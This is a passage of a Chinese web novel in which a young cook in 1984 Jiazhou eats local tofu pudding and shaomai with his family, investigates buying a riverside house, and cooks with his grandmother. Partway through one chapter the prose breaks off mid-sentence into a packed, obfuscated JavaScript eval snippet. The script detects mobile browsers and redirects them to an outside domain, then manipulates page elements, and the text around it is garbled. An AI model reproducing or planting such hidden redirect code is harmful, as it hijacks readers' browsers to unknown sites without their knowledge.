“你呢？你想吃啥子？”赵嬢嬢看着周沫沫。 “我想吃甜的豆腐脑。”周沫沫开口。 老板娘听完摆脑壳：“那去隔壁买嘛，我们这里没得甜豆腐脑。” “我们也没得。”隔壁老板娘跟着摇头。 周沫沫小嘴一嘟，大眼睛立马包起了两汪眼泪，盯着老板和老板娘看。 老板先受不了，连忙摆手道：“有有有！乖乖不要哭，我给你加白糖嘛，豆花也给你多加点，好吃得很，我孙女也爱吃甜的豆腐脑。” 老板娘也被逗笑了，默许了自家男人离经叛道的豆腐脑做法。 没办法，谁让这乖乖看着那么可爱呢。 周沫沫脸上有了笑容，甜甜道：“谢谢伯伯，谢谢嬢嬢！” “不谢不谢。”老板脸上的笑更灿烂了，白糖都多加了一勺。 周砚默默别过脸去，把这辈子最伤心的事情都想了一遍，勉强压住嘴角。 好家伙，和和美美的一家人，在吃豆腐脑这件事上，竟然没一个能吃到一碗里去。 赵嬢嬢的峨眉派蛋冲豆腐脑当先上的桌。 —— PS：求月票！晚点还会加一更！ 求月票！   (本章完) 第125章 懂了！是商战啊！（3000月票加更！ 所谓蛋冲豆腐脑，就是在碗里打一个鸡蛋，然后舀起锅中滚烫的豆花糊糊冲入碗中，用勺子不停翻转，把蛋液冲成鸡蛋花，均匀的融入豆花糊糊之中。 舀一勺红油辣椒，再加入切碎的榨菜，盖上一份切成小块的粉蒸牛肉，这就是一份非常正宗的峨眉豆腐脑了。 赵嬢嬢拿起勺子，从底下开始往上搅拌，让盖在上边的料与蛋花糊糊豆花充分搅拌均匀，形成你中有我我中有你的完美状态。 这一番，粉蒸牛肉的香气立马随着热气飘散开来。 “咕噜。”周沫沫在旁边咽了咽口水，声音可大声了。 “你不是喜欢吃甜豆腐脑吗？还咽啥子口水呢？”赵嬢嬢笑盈盈地看着她。 “哼，我就爱吃甜的豆腐脑！”小家伙小手一抱，把目光移开。 “吸溜。”赵嬢嬢舀了一勺喂到嘴里，脸上露出了满足的笑，点头道：“嗯，就是这个味道，相当正宗，跟我小时候去镇上吃的那家一模一样。” “妹妹，你也是峨眉人啊？”老板娘闻言有些惊喜的看着赵铁英。 “对，正儿八经天景公社黑水村的。”赵铁英笑着点头，“你们这个豆腐脑做得好，我来吃过两回了。” “我们是绥山镇上的，还是老乡哦。”得到老乡认可的老板娘满面红光，笑着道：“正宗做法，那肯定不会差噻！来，我给你加一份粉蒸肥肠尝尝看。” “哎呀，大姐，不用不用，够很了。”赵铁英连忙摆手。 “客气啥子，不用你加钱。”老板娘直接把小蒸笼往赵铁英的碗里一扣，粉蒸肥肠盖一层，还不忘跟周淼和周砚父子俩道：“你们也尝看我们家的粉蒸肥肠，味道真的相当巴适。” 父子俩连忙点头。 在老板娘坚定的目光中，周砚拿起筷子夹了一块粉蒸肥肠，肥肠是诱人的琥珀色，表面泛着油光，裹着米粉。 喂到嘴里，软糯的肥肠与绵密的米粉在口中交织，肥而不腻，软糯爽口，香醇厚重，确实相当巴适！ “好吃，火候和调味都刚刚合适，巴适得很。”周砚点头道认可。 “我也觉得是这样的。”周淼尝了一筷子，附议。 老板娘的脸上露出了得意的笑容，顺便问道：“你们要不要整个咔饼嘛？我们家的咔饼香得很，夹起粉蒸肥肠和粉蒸牛肉，客人喜欢得很。” 赵嬢嬢笑着道：“要两个嘛，一个肥肠的，一个牛肉的。” “要得，我给你们做。”老板娘应了一声，高高兴兴的回去做咔饼了。 赵嬢嬢是峨眉人，老家就在峨眉山脚下。 周砚印象中对外婆家的记忆很模糊，反正在小周的记忆中，只去过两三回，记得有大片的茶园。 外婆是个头不高的小老太，外公已经去世多年，还有两个舅舅。 离得不远，但走动的不多。 “妈妈，我帮你尝一下嘛。”周沫沫凑了过去，眼巴巴的望着她，大眼睛里写满了‘馋’字。 “有点辣，你只能吃一小口。”赵嬢嬢用勺子从边上了舀了一点辣椒油少的，裹了一块粉蒸牛肉，喂给周沫沫。 “啊呜~”小家伙张嘴一口接过，高兴地嚼了起来，然后开始：“嘘哈~嘘哈~~好吃！但是有点辣辣！” “来，乖乖，你的甜豆腐脑。”老板端着周沫沫的豆腐脑过来，放在了她面前。 白花花的豆腐脑，芡粉糊糊不到三分之一。 这样的甜豆腐脑，周砚在嘉州还是头一回见。 周沫沫也是吃上特制版的了，长得乖，确实是能刷脸的。 “谢谢伯伯！”周沫沫喊了一声，拿起勺子就开吃，吸溜吸溜，一口接一口，还不忘抬头夸一声：“好甜！好好吃哦！” 老板搓着手，脸上的笑容愈发灿烂。 没关系的，甜豆腐脑只卖她一个人！ 周砚和老周同志的豆腐脑也来了。 周砚这份上边盖满了粉蒸肥肠，就是这量吧……好像有点多？ 几乎把碗面铺满，完全不符合他的印象啊？ 他抬头看了眼隔壁双手抱胸，一脸不服气的老板娘。 懂了！ 是商战啊！ 周砚也拿起筷子先把豆腐脑从下往上翻转搅拌，牛华豆腐脑的特色就是红苕粉打底，以及加了一勺牛肉汤，红苕粉翻上来立马裹满了被红油染红的芡糊和豆花，颗颗黄豆和粉蒸肥肠点缀其上。 与其说是豆腐脑，周砚觉得更像是……豆腐脑粉？ 先嗦一口粉。 裹满芡糊和豆花的红苕粉，又滑又弹，口感丰富，味道可太足了！ 麻辣鲜香，带一点点的醋香，还有一点甜味，相当复合的一个调味感觉，和凉拌鸡的调料有点异曲同工。 周砚要的是加辣版，所以辣味更为突出，但不是干辣，是香辣，牛肉汤味道鲜美，为这份豆腐脑增色不少。 味道太对了！ 比他记忆中的牛华豆腐脑还要更好吃一些。 尝了一块粉蒸肥肠，软糯香辣，嚼起来特别香，粉粒要比峨眉派的粗一点，口感有点区别，都好吃！ 难怪敢正面硬刚峨眉派，原来是牛华派中的长老！ 周砚嗦粉的声音有点诱人，连埋头吃豆腐脑的周沫沫都忍不住抬头向他看来。 “不要想了，你锅锅吃的是加辣的，尝一口你要哭。”赵嬢嬢毫不留情地击碎了她的幻想。 周沫沫转而看向了老周同志。 老周同志的豆腐脑还没拌，见她看过来，笑着拿筷子给她夹了两条馓子放在勺子里。 “咔嚓咔嚓！” 小家伙的牙齿嚼的嘎嘣脆，心满意足的继续吃。 老周同志也是开始埋头吃豆腐脑。 夹**属于返璞归真，经典的芡糊豆花加料，搅拌好后，一口下去，香脆、软糯、柔滑的口感在嘴里交织，酸甜麻辣的滋味粉墨登场，满嘴都是料，吃起来也是极好的。 卡饼很快也上来了。 老板贴心的给他们剪了一刀，一分为二，一人能吃半个。 咔饼有点类似于肉夹馍，回锅煎了一下的小饼表面多了一层淡金色，从中间剖开，然后往里边灌满粉蒸牛肉或者粉蒸肥肠，鼓鼓的一个，从中间剪开，可以看到里边夹满的牛肉与肥肠。 “趁热吃哈，吃了不够再加。”老板娘笑着说道。 “要得。”赵嬢嬢应了一声，给周沫沫拿了半边粉蒸牛肉的咔饼，吹了吹，才递到 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周砚扫了一眼价目表。 鲜肉烧麦0.35元/笼；鸡肉烧麦0.35元/笼，三鲜烧麦0.35元/笼；牛肉烧麦0.5元/笼。 周砚上前，立马有个嬢嬢笑着问道：“小伙子，吃烧麦啊？” “嬢嬢，要两笼鲜肉嘛，我们坐那边峨眉豆腐脑吃。”周砚笑着说道。 后来的海汇源，他最喜欢吃的就是鲜肉烧麦，鸡肉烧麦什么口感，作为一名厨师，实在无法想象，至于牛肉，最近吃的实在是太多了，也不想吃。 “要得，刚蒸出来两笼，我给你端，等会我自己过来收蒸笼就行了。”嬢嬢笑着应道，立马给他端了两个小蒸笼下来，拿双筷子夸夸全部拣到一个蒸笼里，十六个，装的满满当当。 周砚摸了一块钱递过去，从嬢嬢手里接过蒸笼和找零的三毛钱，还有两个红油蘸碟，端着回了桌，放在中间。 “哇哦，这是小白菜吗？”周沫沫的甜豆腐脑已经吃完了，一抬头刚好瞅见放下的烧麦，眼睛顿时一亮。 嘉州的烧麦，皮薄如纸，呈透明状，里边裹着满满的肉馅，收口不像包子那般内敛，而是舒展出荷叶边，看着形似小白菜。 “他们都说这家的烧麦好吃，来了几回东大街，就是没尝过。”赵嬢嬢笑着说道，先给周沫沫夹了一个：“来嘛，你先整一个。” 周沫沫伸手捏起荷叶边，欣喜道：“好好看哦！” 然后张大了嘴巴咬了一口。 纸一般的薄皮一口就咬开了，肉汁爆开，里边是鲜美的猪肉大葱肉馅，一刀刀剁出来的肉馅，带点肥，油亮亮的肉汁顺着周沫沫的嘴角滴落。 小家伙的眼睛都亮了！ 一口下去全是肉肉！ 软软的，绵绵的！ 好好吃哦！ （嘉州烧麦）—— PS：加更求月票！这章贴图有点多，主要是太有地方特色，怕你们想象不出来，配个图。 求月票！   (本章完) 第126章 你说，她还在等谁呢？（64k二合一） 第126章你说，她还在等谁呢？（6.4k二合一） 周砚先吃了个原味烧麦，皮薄馅大是最大的特色，一口一个，纸皮薄软，肉馅鲜嫩，满嘴流油。 猪肉大葱馅可太鲜了！ 这年代的土猪肉，风味更佳。 纸皮烧麦的蒸制过程也远比包子要更麻烦，蒸的过程中需要多次用冷水浇淋荷叶边，从而保证面皮的口感。 然后就是特色吃法了，烧麦蘸红油蘸碟，白色半透明状的烧麦在红油一蘸，立马染上了红亮的色泽，吃起来香辣爽口，别具风味。 好吃！ 周沫沫吃完一个，已经伸手去拎第二个了，看着周砚道：“锅锅，这个比肉包包好次！” “硬是香，皮好薄，馅又足，吃起来满口流油。”赵嬢嬢连连点头，问道：“好多钱一笼呢？装这么满。” 周砚道：“这里是两笼，一笼八个，三毛五。” “那也……不算贵嘛。”赵嬢嬢点头。 “嗯，不贵。”周砚笑着点头，赵嬢嬢的思想开始有些变化了，要换以前，三毛五一笼的烧麦她肯定觉得贵，所以听说那么久都没有买来尝过。 乡镇上挣点钱不容易，很多人都把钱存着，等着急用的时候才能拿得出来。 可谁又能想得到，接下来几年物价会接连暴涨。 好不容易存的几百、几千巨款，转眼购买力就差许多。 真要说买什么，买房绝对是最好的投资。 房改还要一些年，周砚都已经做好规划了，先挣钱，有钱就买楼。 等以后干不动了，就躺平当包租公，老婆孩子热炕头。 拖鞋一蹬，腰上挂一串钥匙，整条街我最靓。 人活一世，要的就是一个潇洒自在。 “还是城里头生意好，人来人往，做点啥子买卖都能挣到钱。”赵嬢嬢看着人来人往的东大街，带着几分感慨，看着周砚道：“以后我们就在厂门口开饭店，还是有往城头来的打算？” “往后头，肯定还是要往城里来。”周砚说道，目光也在人来人往的东大街上看着。 嘉州纺织厂现在如日中天，可后世周砚去苏稽吃跷脚牛肉的时候路过，原址已经修成了小区。 九十年代的下岗潮，还是把它拍在了岸上。 周二娃饭店是依附于纺织厂挣钱的，九成的客源来自纺织厂工人，他肯定要先做打算。 当然，现在才1984年，纺织厂还在扩产招工，一副蒸蒸日上的势头。 再挣几年不成问题，只是目前营业额卡在五百，得想办法往上提一提，如果嘉州有机会，也可以提前做一些布局。 东大街延伸到河边，便是如今最为繁华的嘉州港，斜对着嘉州大佛。 嘉州大佛如今已是相当热闹的景区，从嘉州港坐游船观光大佛的游客每天络绎不绝。 而且从嘉州港可以买票坐船走水路直达山城等地，是如今嘉州人非常重要的出行方式，所以东大街的热闹，很大一部分是往来客商带来的。 街上商铺林立，相当繁华。 东大街在后世也是网红街区，网红店遍布，只要能站住招牌的，生意都相当火爆。 周砚对这个时代了解甚少，但他对嘉州有一定了解啊。 要是能在这东大街上买栋楼，后边要想从苏稽把店开到嘉州来，就有了立足之处。 不用考虑租房的事情，也不用担心房东朝令夕改。 而且买在东大街，即买即租，就会产生收益。 在往后几十年间，收益还会一路走高，相对来说非常有性价比。 现在单位分配的房子不能买卖，但私人住宅是可以进行交易过户的。 东大街的建筑目前大多还保持着民国时代的风格，多属于私人住宅。 现在沿街大多数房屋一楼都打通，作为铺面对外出租，给房主带来稳定租金收益。 这一路上有照相馆、粮店、五金店，甚至还有小酒馆，最有名的还是‘嘉乐大剧院’，这里有川剧表演，每次演出都有很多人来看，一票难求。 人气相当旺。 不过目前嘉州的核心商业区还在百货公司小十字那边，那边的租金更为昂贵，据说好一点的铺子，一个月租金就要二三十块钱。 就百货公司门口那客流量，那价格倒也不算离谱。 周砚找卖豆腐脑的老板娘问了几句，中大街上三四十平米的铺子，月租金约为十五块钱。 “租铺子划不住，弄辆三轮车一样把生意做了，挣好多都揣个人包包里。”老板娘笑着道：“有些租了铺子的，先给房东干十天，后面挣的钱才算自己的。” “嬢嬢，你天天在这里摆摊，你晓不晓得东大街上有没有房屋拿出来卖的？”周砚又笑着打听道。 “卖？这些房子都是下金蛋的母鸡，怕是都舍不得拿出来卖哦，有个两间门面，在家里躺着都有三十块钱收入，厂里上班都没他们安逸。”老板娘摇头，有些意外的看着周砚：“小伙子，你还想买房啊？我听他们说，前两天半场街那边卖了一栋楼，也是有临街商铺的，卖了六千多块呢。” “六千多？！那有点贵哦！”赵嬢嬢倒吸了一口凉气。 老板娘笑着道：“贵是贵，不过那个房子还有点安逸，青砖瓦房，一楼铺面租出去，二楼还可以住人。” 周砚若有所思，这年代花六千买栋楼肯定不算便宜。 万元户在全国都属于有钱人的年代，能拿出六千块买房的，肯定是挣了钱的个体户。 不过现在饭店一天的纯利润有近二百元，省着点花，一个月能攒下来五千多。 一个月挣的钱能在嘉州买栋楼！ 这么一算，好像就不算贵！ 有人买卖，说明政策上行得通。 而且板厂街离东大街不远，价格有差距，应该也不至于相差太悬殊。 这倒是愈发坚定了周砚来嘉州买楼的决心。 这年代，首都偏一点的四合院其实价格应该也和这差不多。 可说出来不怕被笑话，上辈子他都没去过首都。 现在人生地不熟的，让他揣几千块钱，坐几天几夜的火车北上去买房，可能路上就被吃的骨头渣渣都不剩。 嘉州就不一样了，小叔现在是武装部部长，正儿八经副科级干部，至少有啥事能帮他撑撑腰，不至于被人给欺负了。 当然，嘉州置业上限很低，弄一栋就够，等他手里有了钱，置业肯定还是往蓉城走。 蓉城他也熟啊，闭着眼睛往太古里、春熙路、金融城买就行。 也不是非得北上广深。 他心态好，小富即安，没那么大野心。 周沫沫今年三岁半，周砚目标就是争取让她在嘉州念上小学，在蓉城念上初中，要是能进七中，那考大学不是有手就行？ 赵嬢嬢和老周同志不懂这些，他这个当哥的肯定要帮她先考虑着。 周砚也不期望她以后能有多大出息，但希望她在明白自己想要什么的时候，能够有更多选择的余地。 两笼烧麦下肚，一家人都吃饱了。 周砚结了账，把蒸笼和蘸碟给送了回去。 “说了放那我去收就好了嘛，还麻烦你端过来。”嬢嬢接过蒸笼，笑着说道。 “顺手的事情。”周砚笑了笑，随口问道：“嬢嬢，你们老板这个房子是自己买的吗？还是租的哦？我也想来东大街做点小生意，想打听一下行情。” 嬢嬢小声道：“这房子我们老板买的，自己的门市，你要是租的话，一孔这么大的门市少说也要十五块。” “你晓得他买了好多钱吗？”周砚也降了几分声音。 “不晓得。”嬢嬢摇头，又往码头方向看了一眼，“我们老板前两天提了一嘴，前头路口那栋楼好像要卖，但是价格贵的批爆，还麻烦得很。” “嬢嬢，一笼烧麦。” “好！我给你拿！” 嬢嬢忙去了，周砚也就没再多问，但心思都在路口那栋楼上了。 什么铺子最具价值？ 那一定是显眼的转角铺。 东大街的路口正对着的就是嘉州港，临着河边。 周砚推上车，和爸妈打了声招呼，便径直往嘉州港的方向走去。 很快，一栋青砖瓦房出现在视线中。 这房子有点大！ 立在东大街尽头，横跨东大街和滨江路。 正对着嘉州港大门，斜对面是山城航务公司，来往坐船的商客，一上岸看到的就是这个铺子。 还有沿着滨江路散步的客人，到这也会停下看港口的游船。 这房子，位置可太好了！ 周砚左右瞧了一眼，占地少说也有三四百个平方，这还是往少了算的。 和东大街上的其他房子一样，也在墙上开了洞，弄了两个铺面出租，一家卖面条，一家卖卤菜。 周砚如果没记错的话，这一片后来被拆了建成商业街。 房子看起来颇有年月了，青砖砌的围墙，飞檐青瓦，门口甚至还有门楼，紧闭的大门，也不知里边有几进院落，瞧着就是以前大户人家的房子。 但左右并未瞧见张贴出售的公告。 “你看啥子？”赵嬢嬢见周砚左瞧右看，忍不住问道。 “有好吃的吗？”周沫沫跟着左看右看。 “卖烧麦的嬢嬢说这个房子要卖，这个位置太好了，我去打听一下消息，让老汉看着车，你带沫沫去港口那边看船嘛。”周砚和她小声说道，说完直接往卤菜店走去。 赵嬢嬢闻言眼睛睁大了几分，看着眼前这座大宅院，心头想着这得要多少钱啊！ “妈妈，我想看大船。”周沫沫抱着她的腿晃啊晃，眼里满是期待之色。 “走嘛，带你去看。”赵嬢嬢把她一把捞起，和周淼说了一声，往河边走去。 周砚走进卤菜店，老板是个中年男人，刚给一位客人称完猪头肉，笑着道：“帅哥，要称点啥子？” “要一个猪耳朵嘛。”周砚看了眼墙上的价目表，笑着道。 “要得！”老板拿了一只猪耳朵上称，“三两，九毛钱。” “好，切了嘛。”周砚点头，等老板开始切猪耳朵了，才问道：“老板，我听说这个房子要卖啊？” 老板闻言抬头看了眼周砚，目光在他手上的新表上顿了一下，笑着点头：“就是，前两天才跟我们这两家租了铺面谈过这件事，要是我们出得起价，优先让我们买，免得别人买了撵我们。” “那你们要买不嘛？”周砚笑问道。 “哪个买得起哦！”老板撇嘴，伸出了一根手指：“至少要这个数，具体好多还没定。” “一万啊？！”周砚声音也提高了几分。 “一万还不一定拿得下，我看邱老太那个孙女的意思，至少还要加一两千。”老板摇头，带着几分嫌弃道：“他们香江人，简直太不把钱当钱了。” “香江人？怎么又扯到香江人了？”周砚不解。 “这个邱老太的儿女早年逃到香江去，只有邱老太和段先生夫妇俩留下来，又是下乡，又是劳动，段先生没熬过来。” “前两年平·反，把这邱家老宅还给了邱老太，她就回到这里养老嘛，弄了两个铺面出租，一个月也有二三十块钱，每天搓搓麻将，听听川剧，过得还是舒舒服服的。” “这不，前段时间他几十年没得音信的儿子带着孙女找上门来，说要接她去香江享福养老，然后就张罗起卖房子的事情。” “不过这事还没定下来，邱老太不愿意去香江，说在等人，死都要死在嘉州，不去。” “邱老太的儿子呆了一个月就先回去了，留了个孙女在这里陪着老太太，顺便处理房子的事情。”老板说着说着停下了动作，抬头看着周砚道：“你说，老太太都七十多岁的人了，还等谁呢？去了香江那可真是享福啊，他儿子来的时候都是小轿车接来送往的，据说手上戴的那块表叫劳力士，一块就是一个万元户嘞！” 周砚闻言也是有些咋舌，这年代戴一万块的劳力士，什么经济实力毋庸置疑，怎么也是个港商。 周砚疑惑道：“既然房子还不如他一块表，那还卖啥？直接把老太太接走不就行了？” “他们也不是看重这钱，就是想断了老太太的念想，好让她愿意去香江。”老板一边装猪耳朵一边道：“谁要能解了老太太的心结，让老太太点头，估计少几千她孙女都乐意。不然，老太太不点头，出多少钱都买不走。” 周砚接过油纸袋，若有所思，烧麦店的老板说的贵得批爆还麻烦得很，原来说的是这。 这房子好像在卖，但又没具体的定价，甚至连到底买不买的准话都没有。 “莫非你想买这房子？”老板找了钱给周砚，盯着他问道。 “我有个朋友感兴趣，我就是帮他来问一哈，我那里拿的出那么多钱。”周砚笑着摇头，心里大概有数了。 “你要是感兴趣，你就直接敲门问，我们这两个铺子跟房子是完全隔开的，只有收租的时候老太太才会来。”老板看着周砚笑眯眯道：“你朋友要是买了这个房子，到时候你帮我跟他说说看，这个门市还是租给我嘛，该多少租金我还是照样给。” “要得，我一定帮你把话带到。”周砚笑着点头，见有客人进门来，和老板道了声谢，便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200244|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿着猪耳朵走了。 走出卤味店，周砚回头看着这座古朴大气的老房子，眉头紧皱。 你要说一万块，那他至少目标明确，好好干两个月，说不定就能存够了。 可要让一个七十五岁的老太太点头答应，她儿子、孙女都做不到的事，他一个外人怎么做得到？ 这么好的房子，嘉州不知道多少老板盯着呢。 现在万元户是稀有，可也别小瞧了像黄鹤这样的家底殷实的本地土老板。 能拿两千多给儿子买摩托的，手里没个几万现金他是不信的。 周砚的饭店一年都能干出几万利润，飞燕酒楼作为嘉州四大酒楼之一，不能比他挣得少吧？ 消息已经问来了，这事他后边再慢慢留意。 当务之急，还是挣钱！ 手里没个一万块，连上桌的机会都没有。 手里有了钱，就算这房子不成，到时候也能买其他的。 这时，应该是刚有艘游船靠岸，游客们哗啦啦从港口大门涌了出来。 “瞧那有家卤味店，去买两个鸭头尝尝！” “给我买一个嘛，我去隔壁吃味精面！” 不少游客直奔两家店而来。 周砚有点眼热，瞧瞧，这就是地段的力量啊。 他要是把这房子买下，直接推了重建。 一楼全部修成营业房，挑高三米五，五十年后都不比周边的商铺看着寒酸。 二楼修成两套大平层，爸妈一套他一套，三楼给周沫沫留个超大主卧，再整个观江露台，隔江眺望嘉州大佛。 光是想想，就觉得美滋滋啊。 这卤味店肯定是开不成了，他卖的就是卤味，卧榻之侧，岂容他人酣睡。 老板，对不住了啊！ 周砚和老周同志把车推到江边，也看了会江景。 “锅锅，我想坐大船船，你带我去坐好不好？”周沫沫跑了过来，抱着他的大腿撒娇，大眼睛里满是期待。 周砚抬手看了眼表，又看了眼一旁的游船时间表，笑着摇头道：“不行，游船都下班了，今天是肯定坐不上了，我们下次来再坐。” “好叭……”周沫沫松手，情绪有点低落。 “呐，给你买的卤猪耳朵。”周砚把刚买的卤猪耳朵打开给周沫沫递了过去。 “锅锅我爱你！”周沫沫开心喊道，伸手拈了一块喂到嘴里，嚼了嚼，小眉头一皱：“没有锅锅做的好吃。” “你自己都做卤猪耳朵，还买这个做啥子。”赵嬢嬢也拈了一块喂到嘴里，同样摇头：“咸了！也不太香，确实没你做的好吃。” “找老板打听了一下消息，买点东西好问话，切耳片的功夫，啥子都说了。”周砚笑着说道，扫了眼眼底的评价。 【一份平平无奇的卤猪耳朵】 再回头看着那挤满客人的卤味店，有些感慨道：“你瞧，一个好的门市，就能把这么普通的猪耳朵以三块钱一斤得价格卖出去。” 骑上车，一家四口心满意足地返程回苏稽。 路上赵嬢嬢问了房子的价格，听到要一万多后，大为震惊。 “你打算买吗？”赵嬢嬢看着周砚道，“就算两个门市一个月能租三十块，一年也才三百六十块钱，要三十年才能租的回本。” “不是这样算的，今年租三百六，明年租五百，后年租八百，可能不到十年就回本了。”周砚笑着道：“不过，现在存一万块钱再说其他吧。” 赵嬢嬢不明白周砚为何那么有信心，但看他目光坚定，便也就不再多问。 存嘛！ 一起存！ 一家人就是要齐心协力才能干成大事！ 他们只有五百块钱的时候，就敢全部拿出来给周砚开饭店，还帮他去借了八百多。 周砚比他们懂得多，看得远，他说值得买，那就买。 回到苏稽，天已经快黑了。 洗了澡，周砚把账目拿出来盘了一下。 今日进城消费273.9元，手头的存款还有510.72元。 距离一万存款…… 目标尚远。 周砚拿出本子，再上边写了几个饭店名字，后边还写着地址。 这是今天在嘉州逛街时，他看到的规模相对大一些的饭店，他把地址都记下了。 等哪天有空，他准备再单独去一趟嘉州，一家一家找过去，看看有没有哪家饭店自己不做卤肉，又有意愿从他这里拿货的。 炒菜、烧菜卖不到人家饭店去，但卤肉可以。 老太太已经在几十年前验证过了。 明天早上他还要去把老太太请来，指导第二锅卤水调制，以及新一轮的卤牛肉指点。 家有一老，如有一宝。 有老太太坐镇他才不慌。 明天要给他师父供应卤肉，坝坝宴这种场合，再重视也不为过。 到时候再把她当年找她买卤肉的饭店名单列出来，找起来更有针对性。 十几二十年，老太太都七十五了，当年那些饭店是否有后人传承下来，又是否还会要他们家的卤肉，都是未知。 钱和账本收回箱子，周砚拿出信纸，抽出派克钢笔，略一思索，开始给夏瑶回信。 今天去了一趟嘉州，像是往他枯燥而忙碌的生活投下了一颗石子，他突然有了许多想跟她分享的话题。 比如嘉州派别鲜明的豆腐脑，比如那栋可以看江的房子，比如周沫沫拿到蜡笔后的兴奋…… 文思如泉涌，一写就是三页纸。 信中周砚还向她请教了那套房主人的纠葛，像这样有钱人家的小姐，要怎么接触会更为得体，容易获得对方的信任。 周砚活了两辈子，见过最像富家小姐的，应该就是夏瑶了。 朋友嘛，就是应该互相帮助，一起进步。 周砚把信塞进信封，并写上‘夏瑶亲启’四个字。 有个笔友，挺好的。 …… 第二天天蒙蒙亮，小周同志和老周同志就出门去买菜了。 回来的时候，老周同志的后座上坐着抱个小坛子的老太太。 车子缓缓停下，老太太抱着坛子直接跳了下来。 “哎哟！奶奶，你稳当点哦。”正准备上前搀扶的周砚吓一跳。 “怕啥子？我挑起扁担追狗——照样撵得它惊叫唤！你还不一定有我体力好。”老太太摆摆手，径直往饭店里走，一边问道：“我幺孙女呢？好久没看到乖乖了。” 二合一了。 明天继续加更，今晚写不完一章了~   (本章完) 第127章 要想人前显贵，必先人后受罪（65k二 第127章要想人前显贵，必先人后受罪（6.5k二合一） 这个点，小懒虫周沫沫自然还在睡觉。 全家就她可以赖在床上睡到太阳晒屁股。 “我去看看你们的新家整成啥样式。” 老太太把装着冰糖的坛子放下，不急着干活，先上楼转了一圈。 周砚跟在后边，把楼道的灯打开。 上回撞破脑袋后，周砚果断在楼道里装了一盏灯，双控开关，楼上楼下都能开关。 没办法，楼道没开窗，就算是白天也光线昏暗。 楼道没刷大白，但用水泥在面上细细刮了一道，谈不上光滑，但也绝不粗糙刮手。 现在刷的石灰可不是后世的腻子、乳胶漆，这玩意往衣服上一蹭就是一道白印子。 楼道本就狭窄，冬天要是穿的厚一点，上下一趟楼能把黑衣服染成白衣服。 一上楼，光线立马亮了起来。 老太太背着手环视了一圈空荡荡的客厅，点头道：“这屋还多宽，白墙一刷，有模有样的，比你们原先的破房子好太多了，这不就是个新家嘛。” 赵铁英和周淼也跟着上了楼，闻言都笑了。 “这边是新砌的屋子？”老太太往卧室走去。 周砚快步跟上，帮忙把门打开。 窗户还没挂窗帘，天光从窗户照进房间，亮堂堂的。 大房间里空荡荡的，只靠墙摆了一张用木板和长条凳搭的大床，床边还放了两个箱子，床上铺着新被，周沫沫趴在中间，睡得正香，不知道梦见了什么，砸吧着嘴，浑然不觉。 “有个窝窝蹲，胜过金銮殿。”老太太点点头，回身看着周砚：“你娃娃硬是会办事，把你娘、老汉安排的巴巴适适。” “那必须的。”周砚笑着道。 “这楼房住起来比老屋还暖和些，住在店里不用每天跑来跑去也方便些。”赵铁英也是一脸满意的笑。 “一家人住一起，肯定怎么都好。”老太太点头，目光落在了赵铁英的耳朵上，笑问道：“新买的金耳环？” 赵铁英下意识摸了一下耳朵。 “我给铁英买的，结婚这么多年都没给她买过金首饰，昨天去嘉州逛百货公司，找周砚预支了工资给她买了对金耳环。”周淼抢着说道，略显局促的笑容中带着几分宠溺。 “好看，戴上人都容光焕发了，你们爷俩还是有点眼光的。”老太太笑着道：“讨到老婆不算本事，能把自个老婆宠好那才算真本事。” 说完，老太太看了眼周砚，“学到点，以后讨了老婆，也要向你老汉对齐。人心都是肉长的，真心才能换来真心。” “要得。”周砚点头，谨记在心。 老太太看了眼周淼手上的新表，又看了眼周砚手上同样带着的上海表。 “周砚自己买了一个卤肉用，又给他老汉买的，说他看时间方便些，免得晚上睡不踏实。”赵铁英立马开腔解释道。 “你娃娃还是可以，想得到老娘，也想得起老汉。”老太太抬起周砚的手，瞧了瞧，“今年卖好多钱？” “七十。”周砚答道。 “便宜了不少啊，去年要一百的嘛，大前年还要一百二十五，这个价格硬是买得。”老太太点头，“戴起也好看，戴个表在手上，出门谈事别人都要高看你一眼。” “回头我给你也换个新的。”周砚笑道。 老太太在这个家里备受尊敬，可不只因为她有足够的威严，她向来不是一个扫兴的人，总能让人感到舒服和被尊重。 “我这个挺好的，再用十年没得问题。”老太太笑着摇头，走到床边看了看周沫沫，笑着转身把门轻轻带上：“走嘛，让她睡，小娃娃就是要多睡觉才长得好。” 下了楼，周砚就开始忙着炒臊子和浇头。 老周同志则是去杀鸡和处理猪头。 老太太坐在灶台后边帮忙烧火，悠悠说道：“你老汉在店里给你打打下手，切切卤肉，还是要得，一个人杀牛卖肉确实忙不过来。” “就是，他现在一个星期去帮别个杀一两回牛，手艺不落下，别个还是喊他周师傅，他心头也高兴。”周砚笑着应道。 祖孙俩有一句没一句的闲聊着。 周立辉今天不用烧火，提完水就在旁边认真看周砚做菜。 “辉辉，来了这么些天，学会一道菜没得？”老太太看着他问道。 “祖祖，我学会了半道。”周立辉咧嘴笑：“我会给面条调味了，现在店里的面条，都是我来负责调碗底的料。” “那还是学到了真本事嘛。”老太太点头，又道：“读书呢？前两天不是考试了嘛？考得怎么样？” 周立辉不笑了，攥着手，垂着脑袋不好意思道：“很稳定，还是倒着数第三名。” “那也可以嘛，没得啥子不好意思的，学习成绩不好不能代表人不行，你看你每次跑步拿第一，拔河你当定海神针，扳手腕哪个扳的过你，平均一下，还是多厉害的嘛。”老太太满是宠溺地笑道：“只要人踏实肯干，勤学苦练，将来干哪一行都一样的，你看你小叔连初中都没毕业，现在当厨师不是一样风生水起。” 周立辉看了眼周砚，笑着点头：“嗯嗯，我晓得了祖祖。” 周砚：莫要看我找安慰，我正儿八经的公立二本大学生哈！ 料炒好，客人便陆续来了。 周砚拉面，老太太就在旁边饶有兴致的看着，还不时问两句。 上回来她吃过周砚做的拉面，觉得是比买的挂面味道好，所以今天特意想要来学习学习。 “和面、拉面太费力了，奶奶你想吃就来店里吃嘛。”周砚说道。 